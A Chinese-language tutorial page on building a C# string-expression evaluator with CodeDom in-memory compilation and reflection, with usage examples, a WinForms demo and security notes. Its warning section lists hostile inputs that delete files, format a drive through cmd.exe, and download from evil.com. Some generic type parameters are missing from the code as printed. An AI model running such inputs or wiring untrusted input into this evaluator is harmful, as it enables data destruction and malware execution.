首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> C語言 >> 關於C語言

C# 利用反射與動態編譯計算字串運算式:CodeDom 編譯器完整實作

     編輯:關於C語言

核心概念

C# 無內建 eval(),但可透過 CodeDom 動態編譯 + 反射呼叫 達成:

  1. 將字串運算式包裝成完整類別原始碼
  2. 使用 CSharpCodeProvider 記憶體編譯組件
  3. 反射建立實例、呼叫方法取得結果

完整評估引擎類別

using System;
using System.CodeDom.Compiler;
using System.Reflection;
using System.Text;
using Microsoft.CSharp;

public class ExpressionEvaluator
{
    private readonly CSharpCodeProvider _provider = new CSharpCodeProvider();
    private readonly CompilerParameters _parameters;

    public ExpressionEvaluator()
    {
        _parameters = new CompilerParameters
        {
            GenerateInMemory = true,           // 記憶體組件,不產生檔案
            TreatWarningsAsErrors = false,
            CompilerOptions = "/t:library /optimize"
        };
        _parameters.ReferencedAssemblies.Add("System.dll");
        _parameters.ReferencedAssemblies.Add("System.Core.dll");
        _parameters.ReferencedAssemblies.Add("System.Data.dll");
        _parameters.ReferencedAssemblies.Add("System.Xml.dll");
    }

    /// 計算 C# 運算式字串,回傳 object 結果
    public object Evaluate(string expression)
    {
        if (string.IsNullOrWhiteSpace(expression))
            throw new ArgumentException("運算式不可為空");

        // 包裝成完整類別
        string source = $@"
            using System;
            using System.Linq;
            using System.Collections.Generic;
            using System.Text;
            
            namespace DynamicExpressions
            {{
                public class Evaluator
                {{
                    public object Calculate()
                    {{
                        return {expression};
                    }}
                }}
            }}";

        // 編譯
        CompilerResults results = _provider.CompileAssemblyFromSource(_parameters, source);
        
        if (results.Errors.HasErrors)
        {
            var sb = new StringBuilder();
            foreach (CompilerError err in results.Errors)
                sb.AppendLine($"Line {err.Line}: {err.ErrorText}");
            throw new InvalidOperationException($"編譯失敗:\n{sb}");
        }

        // 反射呼叫
        Assembly assembly = results.CompiledAssembly;
        Type type = assembly.GetType("DynamicExpressions.Evaluator");
        object instance = Activator.CreateInstance(type);
        MethodInfo method = type.GetMethod("Calculate");
        
        return method.Invoke(instance, null);
    }

    /// 泛型版本:強型別回傳
    public T Evaluate(string expression)
    {
        object result = Evaluate(expression);
        if (result is T typed) return typed;
        if (result == null) return default;
        return (T)Convert.ChangeType(result, typeof(T));
    }
}

使用範例

var evaluator = new ExpressionEvaluator();

// 基本運算
Console.WriteLine(evaluator.Evaluate("10 + 20 * 3")); // 70

// 數學函數
Console.WriteLine(evaluator.Evaluate("Math.Sqrt(16) + Math.PI")); // 7.14159...

// 字串操作
Console.WriteLine(evaluator.Evaluate("\"Hello \" + \"World\"")); // Hello World

// LINQ 查詢
Console.WriteLine(evaluator.Evaluate("new[] {1,2,3,4,5}.Where(x => x % 2 == 0).Sum()")); // 6

// 複雜邏輯
string code = @"
    var list = new List { 10, 20, 30, 40 };
    var sum = 0;
    foreach (var n in list) sum += n;
    sum";
Console.WriteLine(evaluator.Evaluate(code)); // 100

WinForms 整合範例

public partial class MainForm : Form
{
    private readonly ExpressionEvaluator _evaluator = new ExpressionEvaluator();

    private void btnCalculate_Click(object sender, EventArgs e)
    {
        try
        {
            object result = _evaluator.Evaluate(txtExpression.Text);
            txtResult.Text = result?.ToString() ?? "null";
        }
        catch (Exception ex)
        {
            txtResult.Text = $"錯誤:{ex.Message}";
        }
    }
}

效能與安全性考量

面向說明建議
編譯成本每次 Evaluate 都重新編譯,約 10-50ms快取編譯組件 (Dictionary)
記憶體動態組件無法卸載 (除非卸載 AppDomain)長期運行應用定期重啟或使用獨立 AppDomain
安全性任意程式碼執行風險嚴禁直接評估使用者輸入,需沙箱/白名單/解析器
相依性需 Microsoft.CSharp、System.CodeDom.NET Core/5+ 需 NuGet 安裝對應套件

現代替代方案

  • NCalc:純 .NET 運算式解析器,支援邏輯、數學、函數,無編譯開銷
  • Flee (Fast Lightweight Expression Evaluator):IL 發射、高效能、強型別
  • Roslyn Scripting API:官方編譯器平台,支援 C# 互動式、IntelliSense
  • Jint / Jurassic:JavaScript 引擎,評估 JS 運算式

安全性警示

⚠️ 生產環境嚴禁直接 Evaluate(userInput)。惡意輸入可:

// 危險範例
"System.IO.File.Delete(\"C:\\important.txt\")"
"System.Diagnostics.Process.Start(\"cmd.exe\", \"/c format c:\")"
"new System.Net.WebClient().DownloadString(\"https://evil.com/malware.exe\")"

必須採用:

  1. 白名單解析器 (只允許數學、邏輯、特定函數)
  2. 沙箱 AppDomain (舊版) / 容器隔離 (現代)
  3. Roslyn Scripting 配合 ScriptOptions 限制命名空間/組件
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved